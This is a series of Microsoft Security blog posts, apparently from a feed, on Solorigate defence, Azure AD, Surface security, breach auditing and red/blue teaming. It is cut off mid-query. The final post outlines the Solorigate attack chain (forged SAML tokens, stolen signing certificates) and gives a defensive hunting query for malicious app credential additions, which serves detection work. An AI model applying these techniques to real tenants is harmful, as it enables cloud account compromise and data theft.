Conditional access helps you better protect your users and enterprise information by making sure that only secure users and devices have access. We recommend implementing the common recommended policies for securing access to Microsoft 365 cloud services, including on-premises applications published with Azure Active Directory (Azure AD) Application Proxy.

Additionally, you can configure user risk and device risk conditional access policies to enable access to enterprise information based on the risk level of a user or device, helping keep trusted users on trusted devices using trusted applications.

Enable real-time monitoring and session control

Directly integrated with conditional access, session controls in Microsoft Cloud App Security enable extending access decisions into the session, with real-time monitoring and control over user actions in your sanctioned apps. Implement policies to prevent data exfiltration in risky situations, including blocking or protecting downloads to risky or unmanaged devices, as well as for partner users.

Additional recommendations and best practices

Strengthen your security posture even further by reviewing all improvement actions available via Microsoft Secure Score. Secure Score helps operationalize security posture management and improve your organizational security hygiene for your production tenant. Below are some of the Secure Score improvement actions for Azure Active Directory that have a direct impact against Solorigate attack patterns:

  • Do not allow users to grant consent to unmanaged applications
  • Enable Password Hash Sync if hybrid
  • Enable policy to block legacy authentication
  • Enable self-service password reset
  • Ensure all users can complete multi-factor authentication for secure access
  • Require MFA for administrative roles
  • Turn on sign-in risk policy
  • Turn on user risk policy
  • Use limited administrative roles

In addition, you can use the identity security posture assessment feature in Microsoft Defender for Identity to identify common protection gaps that might exist in your environment. Addressing detection gaps such as the following improves your Microsoft Secure Score and improves your overall resilience to a wide range of credential theft attacks:

  • Stop entities that are exposing credentials in cleartext, including ones that are tagged as sensitive. Attackers listen to cleartext credentials being sent over the network to harvest credentials and escalate privileges. While we have no indication that this technique was used in Solorigate, this is a general attack trend that organizations must be aware of and prevent.

Figure 11. Entities exposing credentials in clear text security assessment in the Microsoft Cloud App Security portal

  • Remediate accounts with unsecure attributes that could allow attackers to compromise them once an initial foothold in the environment is established.

Figure 12. Unsecure account attributes security assessment in the Microsoft Cloud App Security portal

  • Reduce risky lateral movement paths to sensitive users. An attacker could move across devices to elevate to a more privileged role and operate deeper in your organization’s environment, as we’ve witnessed in the Solorigate attack.

Figure 13. Risky lateral movement paths security assessment in the Microsoft Cloud App Security portal

Multiple layers of coordinated defense against advanced cross-domain attacks

Microsoft 365 Defender and Azure Defender deliver unified, intelligent, and automated security across domains to empower organizations to gain end-to-end threat visibility, which as the Solorigate attack has shown, is a critical security capability for all organizations to have. In addition to providing comprehensive visibility and rich investigation tools, Microsoft 365 Defender and Azure Defender help you to continuously improve your security posture as a direct result of insights from collective industry research or your own investigations into attacks through configurations you can make directly in the product or in-product recommendations you can implement.

For additional information and guidance from Microsoft, refer to the following:

 

The post Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender appeared first on Microsoft Security.

Azure Active Directory empowers frontline workers with simplified and secure access

Microsoft Malware Protection Center - Wed, 01/13/2021 - 1:00pm

Howdy folks,

The past year has shown us all just how critical frontline workers are to our communities and our economy. They’re the people behind the counter, in the call centers, in hospital ICUs, on the supermarket floor—doing the critical work that makes the difference in feeding our families, caring for the sick, and driving the long-tail economy. Frontline workers account for over 80 percent of the global workforce—two billion people worldwide. Yet because of high scale, rapid turnover, and fragmented processes, frontline workers often lack the tools to make their demanding jobs a little easier.

We believe identity is at the center of digital transformation and the key to democratizing technology for the entire frontline workforce including managers, frontline workers, operations, and IT. This week at the National Retail Federation (NRF) tradeshow, we announced several new features for frontline workers. Building on this announcement, I’m excited to dive into three generally available Azure Active Directory features that empower frontline workers:

1. Streamline common IT tasks with My Staff

Azure Active Directory provides the ability to delegate user management to frontline managers through the My Staff portal, helping save valuable time and reduce security risks. By enabling simplified password resets and phone management directly from the store or factory floor, managers can grant access to employees without routing the request through the helpdesk, IT, or operations.

Figure 1: Delegated user management in the My Staff portal

2. Accelerate onboarding with simplified authentication

My Staff also enables frontline managers to register their team members’ phone numbers for SMS sign-in. In many verticals, frontline workers maintain a local username and password—a cumbersome, expensive, and error-prone solution. When IT enables authentication using SMS sign-in, frontline workers can log in with single sign-on (SSO) for Microsoft Teams and other apps using just their phone number and a one-time passcode (OTP) sent via SMS. This makes signing in for frontline workers simple and secure, delivering quick access to the apps they need most.

Figure 2: SMS sign-in

Additional layers of Conditional Access enable you to control who is signing in using SMS, allowing for a balance of security and ease of use.

3. Improve security for shared devices

Many companies use shared devices so frontline workers can do inventory management and point-of-sale transactions—without the IT burden of provisioning and tracking individual devices. With shared device sign out, it’s easy for a firstline worker to securely sign out of all apps and web browsers on any shared device before handing it back to a hub or passing it off to a teammate on the next shift. You can choose to integrate this capability into all your line-of-business iOS and Android apps using the Microsoft Authentication Library.

Figure 3: Shared device sign-out screen

Additionally, you can use Microsoft Endpoint Manager to set up and customize how frontline workers use shared devices, with three new preview features for provisioning, setting up device-based Conditional Access policies, and customizing the sign-in experience with Managed Home Screen.

Looking ahead

Working in partnership with our customers, we’re committed to bringing you purpose-built frontline capabilities that deliver secure identity and access that is tailored to your needs and environment. We’ll continue to innovate in 2021, adding features that simplify work, bring people together, and help organizations of all sizes achieve more.

To learn more about Microsoft Identity solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @AzureAD and @MSFTSecurity for the latest news and updates on cybersecurity.

The post Azure Active Directory empowers frontline workers with simplified and secure access appeared first on Microsoft Security.

New Surface PCs enable virtualization-based security (VBS) by default to empower customers to do more, securely

Microsoft Malware Protection Center - Mon, 01/11/2021 - 11:23am
VBS and HVCI-enabled devices help protect from advanced attacks

Escalation of privilege attacks are a malicious actor’s best friend, and they often target sensitive information stored in memory. These kinds of attacks can turn a minor user mode compromise into a full compromise of your OS and device. To combat these kinds of attacks, Microsoft developed virtualization-based security (VBS) and Hypervisor-protected code integrity (HVCI, also commonly referred to as memory integrity). VBS and HVCI use the power of hardware capabilities like virtualization to provide better protection against common and sophisticated malware by performing sensitive security operations in an isolated environment.

Today, Microsoft announced that the new Surface Pro 7+ for Business will ship with these Windows enhanced hardware security features enabled out of the box to give customers even stronger security that is built-in and turned on by default. The Surface Pro 7+ for Business joins existing recently shipped devices like the Surface Book 3, Surface Laptop Go, and the Surface Pro X in enabling VBS and HVCI by default.

Surface enables added security features by default to combat common threats

Surface devices are used by customers across a variety of mission critical scenarios – from collaborating in Office on important documents to Microsoft Teams calls with coworkers across the globe. Providing robust protection against the latest malware and ransomware is a critical goal for Surface as customers expect that their devices and data can withstand common attacks. To meet this customer need, Surface has worked diligently across multiple hardware platforms to enable VBS and HVCI by default on capable new Surface models, including the Surface Book 3 and Surface Laptop Go, to provide the latest security protections consistently across different form factors and price points available to customers.

VBS and HVCI create and isolate a region of memory from the normal operating system using hardware virtualization capabilities. This security capability can stop most escalation of privilege attacks. The security subsystems running in the isolated environment provided by the hypervisor can help enforce HVCI protections, including preventing kernel memory pages from being both writeable and executable.

VBS provides significant security gains against practical attacks including several we saw last year, including human-operated ransomware attacks like RobbinHood and sophisticated malware attacks like Trickbot, which employ kernel drivers and techniques that can be mitigated by HVCI. Our research shows that there were 60% fewer active malware reports from machines reporting detections to Microsoft 365 Defender with HVCI enabled compared to systems without HVCI.  The Surface Book 3 shipped in May 2020 and the Surface Laptop Go shipped in October 2020, and users may not have noticed they are running VBS and are therefore better protected based on the work done under the hood.

The simple choice for device security

Endpoint security has always been at the core of Surface devices. Our engineering team has been using a unified approach to firmware protection and device security since 2015 through complete end-to-end ownership of hardware design, in-house firmware development, and a holistic approach to device updates and management.

For Surface, our Unified Extensible Firmware Interface (UEFI) is written in-house, continuously maintained through Windows Update, and fully managed through the cloud by Microsoft Endpoint Manager. This level of control enables enterprises to minimize risk and maximize control at the firmware level before the device even starts Windows 10. IT organizations now have the ability through the cloud to disable a camera or disable the ability to boot from USB all at the pre-boot firmware level. The result is a reduced attack vector that is critical to endpoint protection. Microsoft is making this UEFI* available broadly via open source through Project Mu on GitHub.

To protect the firmware and initial boot of your device, Surface enables Secure boot to ensure an authentic version of Windows 10 is started and make certain the firmware is as genuine as it was when it left the factory. Surface also ensures that each commercial device includes a security processor (TPM 2.0) to provide advanced encryption capabilities such as BitLocker to secure and encrypt your data and Windows Hello to enable passwordless sign-in. Each of these built-in security options helps protect your device from malicious software attacks.

With the necessary hardware and OS settings configured during manufacturing, the simple choice for customers looking for devices with advanced Windows security enabled is a Windows PC. Today, the Surface Pro 7 + for Business, Surface Book 3, Surface Laptop Go, and Surface Pro X already ship with VBS and HVCI enabled by default. Future Surface models on capable silicon will ship with these capabilities also enabled by default. Most recent Surface devices and Windows PCs from many other OEMs that have virtualization support are also capable of using these features. Customers can turn on the Memory integrity feature in the device security settings, which also automatically checks if devices are capable.

The post New Surface PCs enable virtualization-based security (VBS) by default to empower customers to do more, securely appeared first on Microsoft Security.

Privacy breaches: Using Microsoft 365 Advanced Audit and Advanced eDiscovery to minimize impact

Microsoft Malware Protection Center - Wed, 01/06/2021 - 12:00pm

GDPR, HIPPA, GLBA, all 50 U.S. States, and many countries have privacy breach reporting requirements. If an organization experiences a breach of customer or employee personal information, they must report it within the required time frame. The size and scope of this reporting effort can be massive. Using Microsoft 365 Advanced Audit and Advanced eDiscovery to better understand the scope of the breach can minimize the burden on customers as well as the financial and reputational cost to the organization.

A changing privacy landscape

In 2005 ChoicePoint, a Georgia-based financial data aggregator had a data breach of 145,000 of its customers. There were multiple security lapses and resulting penalties, but initially, only ChoicePoint’s California-based customers were required to be notified because, at the time, California, with California Senate Bill 1386, was the only state that had a mandatory privacy breach notification law.

Since that time, all 50 U.S. States have put in place mandatory privacy breach notification laws. Countries in the Americas, the Middle East, Europe, and Asia have adopted privacy standards including mandatory breach notification. Broader regulations that address this issue include California Consumer Privacy Act, China’s Personal Information Security Specification, Brazil’s Lei Geral de Proteção de Dados Pessoais (LGPD), and the European General Data Protection Regulation (GDPR). Given how often these laws are added or updated, it’s challenging for any organization to keep up. As one solution, Microsoft 365 Compliance Manager provides a set of continually updated assessments (174 and growing) to assist our customers with these standards.

A board-level business risk

The reputational and financial risk to a company from a privacy breach can be massive. For example, under California Civil Code 1798.80, which deals with the breach of personal health information, there is a penalty of up to $25,000 per patient record breached. For many standards, there are not only regulatory penalties imposed, but also the right of private action by those whose records have been breached (such as, those who have had their records breached can sue for damages, creating financial liability for a company beyond the regulatory penalties).

There are timeframes under which notification must be made. The California Code requires notification to the regulator within 15 days after unauthorized disclosure is detected. Article 33 of GDPR requires notification to the regulator within 72 hours after the organization becomes aware of the breach.

According to a list compiled by the Infosec Institute, the average cost of a data breach in 2019 was $3.9 million but can range as high as $2 billion in cases like the Equifax breach of 2017.

The reputational damage associated with a breach of customer, employee, or other stakeholders’ personal or business information can substantially reduce a company’s value.

The scope of notification (if any is needed at all) and remediation depends on understanding the scope of the breach in a timely fashion. In the absence of reliable information, companies need to make worst-case assumptions that may result in larger notifications, higher costs, and unnecessary hardship for customers and other stakeholders.

Preparation for breach

As security and compliance professionals, our priority is to avoid breaches with a defense in depth strategy including Zero Trust architecture.

Microsoft has comprehensive security solutions for Microsoft 365, as well as compliance and risk management solutions that enable our compliance pillar framework:

But we also must prepare for breaches even as we defend against them. Part of that preparation is putting our organization in a position to scope a breach and limit its impact. This means ensuring we have the data governance and signal in place before the breach happens. Security professionals know that they have to deploy solutions like Data Loss Prevention, firewalls, and encryption to defend against attacks, but they may not focus as much on having the right audit data available and retained, and visualizations and playbooks in place beforehand to scope a future breach.

Use Microsoft 365 Advanced Audit and Advanced eDiscovery to investigate compromised accounts

The Microsoft 365 Advanced Audit solution makes a range of data available that is focused on what will be useful to respond to crucial events and forensic investigations. It retains this data for one year (rather than the standard 90-day retention), with an option to extend the retention to ten years. This keeps the audit logs available to long-running investigations and to respond to regulatory and legal obligations.

These crucial events can help you investigate possible breaches and determine the scope of compromise. Advanced Audit provides the following crucial events:

There are built-in default alert policies that use the Advanced Audit data to provide situational awareness either through Microsoft 365’s own security and compliance portal, through Microsoft’s Azure Sentinel cloud-native SIEM, or through a customer’s third-party SIEM. A customer can create customized alerts to use the audit data as well.

Let’s look at how a customer might use Advanced Audit to investigate a compromised account and scope the extent of a data breach:

In an account takeover, an attacker uses a compromised user account to gain access and operate as a user. The attacker may or may not have intended to access the user’s email. If they intend to access the user’s email, they may or may not have had the chance to do so. This is especially true if the defense in-depth and situational awareness discussed above is in place. The attack may have been detected, password changed, account locked, and more.

If the user’s email has confidential information of customers or other stakeholders, we need to know if this email was accessed. We need to separate legitimate access by the mailbox owner during the account takeover from access by the attacker.

With Advanced Audit, we have this ability. Without it, a customer will have to assume all information in the user’s mailbox is now in the hands of the attacker and proceed with reporting and remediation on this basis.

The MailItemsAccessed audit data item will indicate if a mailbox item has been accessed by a mail protocol. It covers mail accessed by both sync and bind. In the case of sync access, the mail was accessed by a desktop version of the Outlook client for Windows or Mac. In bind access, the InternetMessageId of the individual message will be recorded in the audit record.

We have the ability to forensically analyze mail access via a desktop client or via Outlook Web Access.

We also need to differentiate between the mailbox owner’s legitimate access to a mail item during the attack time period and access by the attacker. We can do this by examining the audit records to see the context of the access, including the session ID and IP address used for access. We match these with other audit records and known good access by the user.

Advanced Audit retains other events like Teams Joins, File Accessed, Messages Sent, Searches Queries, and many others that can support a breach analysis.

When we’ve properly scoped the data that the attacker has had access to, we want to deep dive and inspect the content.

With Advanced eDiscovery we can collect all emails, documents, Microsoft Teams, and Yammer interactions of the account that was taken over. We can search for confidential information and metadata to identify the material in question:

There is metadata for each item which, for emails, includes InternetMessageID as well as many other items such as from, to, and when it was sent, and any Microsoft Information Protection sensitivity label.

Advanced Audit and Advanced eDiscovery are an important part of an effective security risk and compliance strategy. These Microsoft 365 native tools allow our customers to understand the true scope of a breach. It has the potential to substantially reduce or eliminate the reporting requirements stemming from a compromised account. Advanced Audit can reduce the financial and reputational damage to a company, its customers, employees, partners, and other stakeholders.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

This document is provided “as-is.” Information and views expressed in this document, including URL and other Internet Web site references, may change without notice. You bear the risk of using it. This document is not intended to communicate legal advice or a legal or regulatory compliance opinion. Each customer’s situation is unique, and legal and regulatory compliance should be assessed in consultation with their legal counsel.

The post Privacy breaches: Using Microsoft 365 Advanced Audit and Advanced eDiscovery to minimize impact appeared first on Microsoft Security.

The dynamic duo: How to build a red and blue team to strengthen your cybersecurity, Part 1

Microsoft Malware Protection Center - Tue, 01/05/2021 - 12:00pm

The security community is continuously changing, growing, and learning from each other to better position the world against cyber threats. In the first post of our new Voice of the Community blog series, Microsoft Product Marketing Manager Natalia Godyla talks with Jake Williams, Founder of Rendition Infosec. In part one of this blog Jake shares his insights on the 2020 threat landscape—who to watch for and why—and how to think about red and blue teaming within your organization.

Looking back at the threat landscape of 2020, what stands out?  

The biggest thing that stands out has to be the continued ransomware advances. With IANS, I actually coined the term ransomware 2.0 in early 2019. We were trying to differentiate between the drive-by ransomware attacks and what I call the more APT-style ransomware attacks, where they’re doing lateral movement and actively targeting backups before encryption. Disaster recovery (DR) plans work for the former but really not the latter because the latter cases are actively targeting disaster recovery infrastructure. What I saw this year was just a lot of advancement in attacks.

The second thing is that the number of different groups that are using that commodity malware has definitely gone up. They’re using that commodity malware to get back into orbit for initial access into a network. We’re seeing a lot more of that, like TrickBot. Cybersecurity professionals I’m talking to say, “the TrickBot takedown” but it was an interruption, not a takedown, unlike other malware and botnets in the past that have been wiped out. DNSChanger is a good example. DNSChanger was cut off at the knees but not TrickBot. This is a flesh wound.

We’re seeing a lot more of this commodity malware being used as an entryway. This is the stuff that a lot of folks, myself included, have been talking about for years. This is always a risk. You can’t just say, “Don’t worry, Microsoft Defender Antivirus caught and quarantined it so we’re good now.” From maybe mid-September on, it’s been even more viral than the rest of the year put together. It’s really accelerating, too.

What critical threat groups should security teams be actively monitoring? 

The week before last, I was in a dark web forum and an account that I and a number of other folks in the intel community assess with moderate confidence to be associated with Ryuk was advertising for help with their ransomware operations. They’re looking for experienced ransomware operators, and they have a whole set of criteria, including that they want to see a history that you’re getting an average $400,000 payout. They haven’t asked for help in the past. They have more work than they can handle. That gives you an idea of scope, and I think it comes from the commodity malware. Before now, I haven’t seen large, established ransomware groups advertising for help with their operations. If they thought those accesses were going to last forever, they wouldn’t worry about recruiting others right now.

There’s definitely a place for dark web monitoring but most organizations don’t have the maturity level where they’re getting a good return on that investment. Because even if I tell you that cybercrime groups are recruiting, how do I take that and turn that into something actionable that will help with detection and prevention? I don’t know how much any guidance I provide will help if you’re not patching domain controllers.

From a cybercrime standpoint, we’re seeing a lot more lateral movement being critical to cybercriminals’ attacks. We’re not seeing as many point attacks where they land a phishing email and bam, they’ve extracted a bunch of data and gone. It sounds almost like a cop-out but focus on lateral movement because it kills two birds with one stone. Nation-state groups have to do a lateral movement. So do cybercrime groups to get maximum payouts. Once they’ve had a bite of that big apple, how do they ever go back? I think you’re seeing more groups spending in some cases up to six weeks in a network before they’re doing data extraction and playing a little bit of a longer game versus that immediate gratification.

Cybersecurity mixes both defensive and offensive practices to combat cybercrime. How should organizations think about red and blue teaming in their organization? Do organizations need both, and why?  

A huge majority of people who get into cybersecurity these days want to be red team. I get it. It’s sexy. Bottom line, if you’re thinking of red team as those folks who are actually attempting to penetrate your internal network, I think the number is 1 to 20, 1 to 25, or something like that compared to blue team. You need a lot less red team focus. I’m not saying that organizations where red team is similarly sized to blue don’t provide value. They definitely do, but it’s a question of could you take those same resources and plug them elsewhere and get more value? I think generally, I need a lot more defense than I need offense.

In way too many organizations that have much more balanced red and blue teams, I see a lot of red teams identifying problems that the blue team simply can’t fix from a resourcing standpoint. I also am working with organizations that have very large red teams but haven’t yet moved into hunt teaming. In those situations, I don’t know whether you put hunt under red or blue. I’m ambivalent there but the bottom line is I do need the red team, but I need them for a lot less than a lot of people use them for. I say that as an ex-government hacker; and I still do red team occasionally, but it’s just not where most organizations are going to get the most significant return on investment. I’m not trying to say red team isn’t important but generally, we need to structure significantly more blue team people than red team, and that’s just an unpopular thing for a lot of people to hear.

If you don’t have a solid blue team and have holes today in your defenses, you shouldn’t have a red team. When people say, “We need our own internal red team,” my question is, “Have you had an external red team come in and do a red team evaluation? And if you have, have you actioned those findings?” Not one of them but all of them. If the answer is no, we need to step back and figure out what we need to do. Let’s make sure that you’ve got a blue team that is functioning today and ready to roll forward with the recommendations from the red team. Separate from pragmatism, there’s also a legality issue. Knowing about something and not doing anything about it puts you in a more legally compromising position than not knowing about it at all.

That’s what we find a lot of folks with internal red teams end up with. They’ve got this red team that is basically pushing identified risks into a funnel. How much are we stuffing that funnel? How much do we need defense versus offense?

How does an organization know when to hire an internal red team? What’s the breaking point?

A lot of that depends on the reaction. How quickly are you actioning those findings? If you’re in a spot where you fix all the findings from the annual red team in two months, that’s when I would say, “Yes, without a shadow of a doubt, let’s go hire a red team.” Because that’s going to give me more of that constant churn of findings. On the other hand, if it takes you nine months to get through those findings, you’re going to have another external red team likely in a month anyway. Where’s our value there? If it takes you somewhere in the middle, a lot of it is going to depend on how much risk do we accept.

When we’re documenting where we have gaps and where we don’t, it comes down to where can I get the best return on my investment for our organization? If I still have a lot of blue team gaps, investing in red team would be throwing more gaps at blue team, which causes huge morale issues.

Keep an eye for the second part of the interview as Jake Williams shares best practices on how to structure and evolve red and blue teaming within your organization.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity or on LinkedIn for the latest news and updates on cybersecurity.

The post The dynamic duo: How to build a red and blue team to strengthen your cybersecurity, Part 1 appeared first on Microsoft Security.

Forcepoint and Microsoft: Risk-based access control for the remote workforce

Microsoft Malware Protection Center - Mon, 01/04/2021 - 12:00pm

This blog post is part of the Microsoft Intelligence Security Association (MISA) guest blog series. Learn more about MISA here.

Adopting cloud-based services as part of an organization’s digital transformation strategy is no longer optional, it’s a necessity. Last year, only 18 percent of the workforce worked remotely full-time. Today, companies have been forced to accelerate their digital transformation efforts to ensure the safety and well-being of employees. At the same time, organizations cannot afford to sacrifice productivity for the sake of security. With the massive move to online experiences and remote working, comes a new set of challenges—how do you ensure your data, your network, and your employees stay secure, wherever they are?

Forcepoint has integrated with Azure Active Directory (Azure AD) to enhance existing Conditional Access capabilities by orchestrating change in authentication policies dynamically so that every user authenticates with steps aligned to their risk score. Active sessions can be terminated upon risk score increase so that users must re-authenticate using an enhanced sequence of challenges, and users can be temporarily blocked in the case of high risk. Forcepoint risk scores, combined with Azure AD risk, are calculated based on the user’s context, such as location or IP, to help automatically and accurately prioritize the riskiest users. The joint solution enables administrators to protect critical data and leverage the power of automation to prevent data compromise and exfiltration from occurring. By combining the power of Azure AD with Forcepoint security solutions, organizations can scale a risk-adaptive approach to identity and access management and cloud application access without changing their existing infrastructure.

People are the perimeter

Before COVID-19, in our 2020 Forcepoint Cybersecurity Predictions and Trends report, we detailed the shifting emphasis to a “cloud-first” posture by public and private sector organizations alike. There was, and still is, a clear need for organizations to expand their view of network security and begin to understand that their people are the new perimeter. Today, more than ever, it is imperative for businesses to comprehend and to manage the interaction between their two most valuable assets—their people and their data.

Human-centric cybersecurity is about focusing on not just individuals, but how their behaviors evolve over time. Forcepoint risk scores are designed to continuously calculate the level of risk associated with individual behavior in the past, present, and future. Most organizations today will adopt blanket policies to improve their security posture. Even though policies for individuals may have some level of flexibility, most tend to apply policies to all users within a group—regardless of the individual risk profile. This results in unnecessarily complicated steps for low-risk users accessing common applications, and weak authentication challenges for privileged users logging into critical systems. In short, these implementations are likely frustrating your low-risk users by creating barriers to productivity and allowing high-risk users to fly under the radar.

Forcepoint’s mission is to provide enterprises with the tools needed to understand and quickly assess the risk levels of human behavior across their networks and endpoints and take automated action by implementing risk adaptive protection. We offer a portfolio of security solutions designed to quickly and continuously assess the potential of compromised user risk and automatically apply the appropriate protective measures.

Forcepoint + Azure Active Directory = Better together

Forcepoint has partnered with the Azure Active Directory team on a series of integrations designed to provide remote workers secure access to their cloud and legacy on-premise applications. Together, our integrated solutions combine the risk score calculated by Forcepoint’s Cloud Access Security Broker (CASB)—with Azure AD—to apply the appropriate conditional access policies tailored to each individual user risk.

Learn more about the Forcepoint products that integrate with Microsoft Azure, including the technical implementation and demonstrations of how Forcepoint risk adaptive protection influences the conditional access policies of a potentially compromised user:

Give your organization the control it needs to protect critical assets and data by combining Forcepoint with the power of Azure AD today.

About Forcepoint

Forcepoint is a leading user and data protection cybersecurity company, entrusted to safeguard organizations while driving digital transformation and growth. Our solutions adapt in real-time to how people interact with networks, data, and systems. Forcepoint provides secure access solutions without compromising employee productivity. For more information, visit forcepoint.com.

Forcepoint is a member of the Microsoft Intelligent Security Association.

To learn more about the Microsoft Intelligent Security Association (MISA), visit our website where you can learn about the MISA program, product integrations, and find MISA members. Visit the video playlist to learn about the strength of member integrations with Microsoft products.

For more information about Microsoft Security Solutions, visit the Microsoft Security website. Bookmark the Security blog to keep up with our expert coverage of security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Forcepoint and Microsoft: Risk-based access control for the remote workforce appeared first on Microsoft Security.

Using Microsoft 365 Defender to protect against Solorigate

Microsoft Malware Protection Center - Mon, 12/28/2020 - 12:25pm

Microsoft security researchers continue to investigate and respond to the sophisticated cyberattack known as Solorigate (also referred to as Sunburst by FireEye) involving a supply chain compromise and the subsequent compromise of cloud assets. While the related investigations and impact assessments are ongoing, Microsoft is providing visibility into the attack chains and related threat intelligence to the defender community as early as possible so organizations can identify and take action to stop this attack, understand the potential scope of its impact, and begin the recovery process from this active threat. We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.

This blog is a comprehensive guide for security operations and incident response teams using Microsoft 365 Defender to identify, investigate, and respond to the Solorigate attack if it’s found in your environment. The description of the attack in this blog is based on current analysis and investigations by researchers across Microsoft, our partners, and the intelligence community who are actively collaborating to respond to the attack. This is an active threat that continues to evolve, and the findings included here represent what we know at the time of publishing. We continue to publish and update intelligence, indicators, tactics, techniques, and procedures (TTPs), and related details as we discover them. The report from the Microsoft Security Response Center (MSRC) includes the latest analysis of this threat, known indicators of compromise (IOCs), and initial recommended defenses, and will be updated as new data becomes available.

This blog covers:

Tracking the cross-domain Solorigate attack from endpoint to the cloud

The Solorigate attack is an example of a modern cross-domain compromise. Since these kinds of attacks span multiple domains, having visibility into the entire scope of the attack is key to stopping and preventing its spread.

This attack features a sophisticated technique involving a software supply chain compromise that allowed attackers to introduce malicious code into signed binaries on the SolarWinds Orion Platform, a popular IT management software. The compromised application grants attackers “free” and easy deployment across a wide range of organizations who use and regularly update the application, with little risk of detection because the signed application and binaries are common and are considered trusted. With this initial widespread foothold, the attackers can then pick and choose the specific organizations they want to continue operating within (while others remain an option at any point as long as the backdoor is installed and undetected). Based on our investigations, the next stages of the attack involve on-premises activity with the goal of off-premises access to cloud resources through the following steps:

  1. Using the compromised SolarWinds DLL to activate a backdoor that enables attackers to remotely control and operate on a device
  2. Using the backdoor access to steal credentials, escalate privileges, and move laterally to gain the ability to create valid SAML tokens using any of two methods:
    1. Stealing the SAML signing certificate (Path 1)
    2. Adding to or modifying existing federation trust (Path 2)
  3. Using attacker-created SAML tokens to access cloud resources and perform actions leading to the exfiltration of emails and persistence in the cloud

Figure 1. High-level end-to-end Solorigate attack chain

This attack is an advanced and stealthy campaign with the ability to blend in, which could allow attackers to stay under the radar for long periods of time before being detected. The deeply integrated cross-domain security capabilities in Microsoft 365 Defender can empower organizations and their security operations (SOC) teams to uncover this attack, scope out the end-to-end breach from endpoint to the cloud, and take action to block and remediate it. This blog will offer step-by-step guidance to do this by outlining:

  • How indicators of attack show up across endpoints, identity, and the cloud
  • How Microsoft 365 Defender automatically combines alerts across these different domains into a comprehensive end-to-end story
  • How to leverage the powerful toolset available for deep investigation, hunting, and response to enable SOCs to battle the attackers and evict these attackers from both on-premises and cloud environments
Threat analytics: Understanding and responding to active attacks

As soon as this attack was discovered, Microsoft researchers published two threat analytics reports to help organizations determine if they are affected, assess the impact of the attack, and identify actions to contain it.

The reports are published in Microsoft 365 security center, available to all Microsoft Defender for Endpoint customers and Microsoft 365 Defender early adopters. In addition to detailed descriptions of the attack, TTPs, and indicators of compromise (IoCs), the reports provide real-time data aggregated from signals across Microsoft 365 Defender, indicating the all-up impact of the threat to the organization, as well as details about relevant incidents and alerts to initiate investigation on. These reports continue to be updated as additional information becomes available.

Given the significance of this threat, we are making similar relevant Microsoft threat intelligence data, including the updated list of IOCs, available to everyone publicly.  A comprehensive list of guidance and insights is available at https://aka.ms/solorigate.

Figure 2. Threat analytics report on Solorigate attack

We recommend Microsoft 365 Defender customers to start their investigations here. After gaining deep understanding of the threat and getting the latest research findings, you can take the following recommended steps:

Find devices with the compromised SolarWinds Orion application

The threat analytics report uses insights from threat and vulnerability management to identify devices that have the compromised SolarWinds Orion Platform binaries or are exposed to the attack due to misconfiguration.

From the Vulnerability patching status chart in threat analytics, you can view the mitigation details to see a list of devices with the vulnerability ID TVM-2020-0002, which was added specifically to help with Solorigate investigations:

Figure 3. Threat and vulnerability management data shows data on exposed devices

Threat and vulnerability management provides more info about the vulnerability ID TVM-2020-0002, as well as all relevant applications, via the Software inventory view. There are also multiple security recommendations to address this specific threat, including instructions to update the software versions installed on exposed devices.

Figure 4. Security recommendations from threat and vulnerability management

Investigate related alerts and incidents

From the threat analytics report, you can quickly locate devices with alerts related to the attack. The Devices with alerts chart identifies devices with malicious components or activities known to be directly related to Solorigate. Click through to get the list of alerts and investigate.

Some Solorigate activities may not be directly tied to this specific threat but will trigger alerts due to generally suspicious or malicious behaviors. All alerts in Microsoft 365 Defender provided by different Microsoft 365 products are correlated into incidents. Incidents help you see the relationship between detected activities, better understand the end-to-end picture of the attack, and investigate, contain, and remediate the threat in a consolidated manner.

Review incidents in the Incidents queue and look for those with alerts relevant to this attacker’s TTPs, as described in the threat analytics report (also listed at the end of this blog).

Figure 5. Consolidated Incident view for Solorigate

Some alerts are specially tagged with Microsoft Threat Experts to indicate malicious activities that Microsoft researchers found in customer environments during hunting. As part of the Microsoft Threat Experts service, researchers investigated this attack as it unfolded, hunting for associated attacker behaviors, and sent targeted attack notifications. If you see an alert tagged with Microsoft Threat Experts, we strongly recommend that you give it immediate attention.

Figure 6. Microsoft Threat Experts targeted attack notification

Additionally, Microsoft Threat Experts customers with Experts on demand subscriptions can reach out directly to our on-demand hunters for additional help in understanding the Solorigate threat and the scope of its impact in their environments.

Hunt for related attacker activity

The threat analytics report also provides advanced hunting queries that can help analysts locate additional related or similar activities across endpoint, identity, and cloud. Advanced hunting uses a rich set of data sources, but in response to Solorigate, Microsoft has enabled streaming of Azure Active Directory (Azure AD) audit logs into advanced hunting, available for all customers in public preview. These logs provide traceability for all changes done by various features within Azure AD. Examples of audit logs include changes made to any resources within Azure AD, such as adding or removing users, apps, groups, roles, and policies.  Customers who do not have Microsoft Defender for Endpoint or are not early adopters for Microsoft 365 Defender can see our recommended advanced hunting queries.

Currently, this data is available to customers who have Microsoft Cloud App Security with the Office365 connector. Our intent is to expand availability to more Microsoft 365 Defender customers. The new log data is available in the CloudAppEvents table:

CloudAppEvents
| where Application == “Office 365”

The log data contains activity logs useful for investigating and finding Azure AD-related activities. This data further enriches the CloudAppEvents table, which also has Exchange Online and Microsoft Teams activities.

As part of making this new data available, we also published a handful of relevant advanced hunting queries, identified by the suffix [Solorigate], to the GitHub repo.

Here’s an example query that helps you see when credentials are added to an Azure AD application after ‘Admin Consent’ permissions were granted:

CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Consent to application.”
| where RawEventData.ModifiedProperties[0].Name == “ConsentContext.IsAdminConsent” and RawEventData.ModifiedProperties[0].NewValue == “True”
| extend spnID = tostring(RawEventData.Target[3].ID)
| parse RawEventData.ModifiedProperties[4].NewValue with * “=> [[” dummpy “Scope: ” After “]]” *
| extend PermissionsGranted = split(After, “]”,0)
| project ConsentTime = Timestamp , AccountDisplayName , spnID , PermissionsGranted
| join (
